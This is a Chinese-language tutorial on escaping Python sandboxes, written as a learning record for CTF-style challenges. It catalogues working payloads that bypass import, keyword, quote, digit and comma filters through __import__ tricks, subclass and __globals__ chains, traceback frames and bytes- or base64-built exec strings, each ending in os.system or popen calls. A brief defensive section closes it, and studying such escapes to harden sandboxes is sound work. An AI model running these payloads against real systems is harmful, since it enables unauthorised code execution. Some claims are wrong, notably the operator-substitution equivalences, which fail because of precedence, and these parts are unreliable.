python沙箱逃逸学习记录
字数 955 2025-08-24 07:48:09
Python沙箱逃逸全面指南
一、Python沙箱逃逸概述
Python沙箱逃逸是指绕过Python执行环境中的限制,实现原本被禁止的操作(如命令执行、文件读写等)。核心思路是通过各种方法绕过过滤机制,利用Python语言的特性来执行恶意代码。
二、基本绕过技术
1. import过滤绕过
当直接import被过滤时,可使用以下替代方法:
# 使用__import__
__import__('os').system('ls')
# 使用importlib
import importlib
importlib.import_module('os').system('ls')
# Python2专用方法
execfile('/usr/lib/python2.7/os.py')
system('ls')
# Python3通用方法
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')
2. 字符串过滤绕过
当关键字被过滤时,可通过字符串操作绕过:
# 字符串反转
__import__('so'[::-1]).system('ls')
# 字符串拼接
b = 'o'
a = 's'
__import__(a+b).system('ls')
# 使用eval/exec结合字符串反转
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
其他字符串处理方式:
- Base64编码/解码
- Hex编码
- ROT13
- Unicode编码
3. 恢复sys.modules
sys.modules存储已加载模块信息,可用来恢复被删除的模块:
# 恢复被删除的os模块
del sys.modules['os']
import os
os.system('ls')
4. 执行函数绕过
当os.system被过滤时,使用其他执行函数:
# 使用popen系列
print(os.popen('whoami').read()) # py2/py3
print(os.popen2('whoami').read()) # py2
print(os.popen3('whoami').read()) # py2
# 使用getattr动态获取方法
import os
getattr(os, 'metsys'[::-1])('whoami')
# 完全不用import的方式
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
三、高级绕过技术
1. 利用__builtins__
Python内建函数可通过__builtins__访问:
# 访问__import__
__builtins__.__dict__['__import__']('os').system('whoami')
# 恢复被删除的内建函数
reload(__builtins__) # py2
import imp; imp.reload(__builtins__) # py3
2. 通过继承关系逃逸
利用对象继承链访问被禁用的模块:
# 通过site模块访问os
import site
os = reload(site.os)
os.system('whoami')
# 通过子类继承链访问os (py2示例)
''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']
# 更安全的写法 (避免索引变化)
[i._Printer__setup.__globals__['os'] for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_Printer"]
# 通过warnings->linecache->os (py2示例)
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
3. 利用异常逃逸
通过异常处理获取全局变量:
hack = lambda : [0][1]
try:
hack()
except Exception as e:
e.__traceback__.tb_next.tb_frame.f_globals['__builtins__']['__import__']('os').system('whoami')
4. 利用format字符串
通过字符串格式化访问属性和方法:
"{0.__class__.__base__}".format([])
"{x.__class__.__base__}".format(x=[])
("{0.__class_"+"_.__base__}").format([])
四、文件读写技术
1. 基本文件操作
# Python2专用
file('key').read()
file('key', 'w').write('content')
# Python通用
open('key').read()
open('key', 'w').write('content')
# 其他文件操作方式
types.FileType(rw)
platform.popen(rw)
linecache.getlines(r)
2. 通过修改模块文件实现代码执行
- 写入恶意代码到现有模块文件(如math.py)
- 导入该模块执行代码
# 假设math.py内容为恶意代码
import math # 将执行math.py中的代码
五、字符过滤绕过
1. 绕过引号限制
# 使用chr构造字符串
().__class__.__new__ # 获取字符
str(().__class__.__new__)[21] # 'w'
# 示例:构造"whoami"
os.system(
str(().__class__.__new__)[21] + # w
str(().__class__.__new__)[13] + # h
str(().__class__.__new__)[14] + # o
str(().__class__.__new__)[40] + # a
str(().__class__.__new__)[10] + # m
str(().__class__.__new__)[3] # i
)
# 使用dict键构造字符串
list(dict(whoami=1))[0] # 'whoami'
str(dict(whoami=1))[2:8] # 'whoami'
2. 绕过数字限制
0: int(bool([])), False, len([]), any(())
1: int(bool(True)), all(()), int(list(list(dict(a၁၁=())).pop()).pop())
1.0: float(True)
-1: ~0
3. 运算符替换
# or 替换为 |
a == b or c == d # 替换为
bool(a == b | c == d)
# and 替换为 & 或 *
a == b and c == d # 替换为
bool(a == b & c == d)
bool(a == b * c == d)
六、高级沙箱逃逸技术
1. 使用bytes构造字符串
当字符和运算符被严格过滤时:
# 构造whoami
bytes([119, 104, 111, 97, 109, 105]).decode()
# 绕过逗号限制
bytes([j for i in range(6) for j in range(256)
if i == 0 and j == 119
or i == 1 and j == 104
or i == 2 and j == 111
or i == 3 and j == 97
or i == 4 and j == 109
or i == 5 and j == 105])
2. 模拟import机制
当无法直接import时,通过读取模块文件内容执行:
# 获取os模块路径
str(__import__("os"))[19:-2]
# 读取并执行os模块
exec(bytes([ord(j) for i in list(open(str(__import__(list(dict(os=1))[0]))[19:-2])) for j in i]))
# 结合popen执行命令
[str][bool(exec(bytes([ord(j)for(i)in(list(open(str(__import__(list(dict(os=1))[0]))[19:-2])))for(j)in(i)])))](list(popen(list(dict(whoami=1))[0]))[0])
3. 使用base64绕过复杂过滤
# 编码payload
__import__('os').popen('id').read() # 编码为
X19pbXBvcnRfXygnb3MnKS5wb3BlbignaWQnKS5yZWFkKCk=
# 执行解码后的payload
[eval][bool(exec(bytes([ord(j)for(i)in(list(open(str(__import__(list(dict(base64=1))[0]))[23:-2])))[:-5]for(j)in(i)])))](b64decode(list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignaWQnKS5yZWFkKCkg=1))[0]))
七、防御建议
- 不要使用
eval、exec等危险函数 - 使用严格的输入过滤和白名单机制
- 限制可访问的内建函数和模块
- 使用专门的沙箱模块如
restrictedpython - 监控和限制子进程创建
- 定期更新Python版本修复已知漏洞
八、总结
Python沙箱逃逸技术多种多样,核心思路包括:
- 绕过关键字过滤(字符串操作、编码等)
- 利用Python对象模型和继承链
- 通过异常、格式化等特性获取上下文
- 模拟import机制加载模块
- 使用bytes等构造任意字符串
防御的关键在于理解这些技术原理,实施多层次的安全防护措施。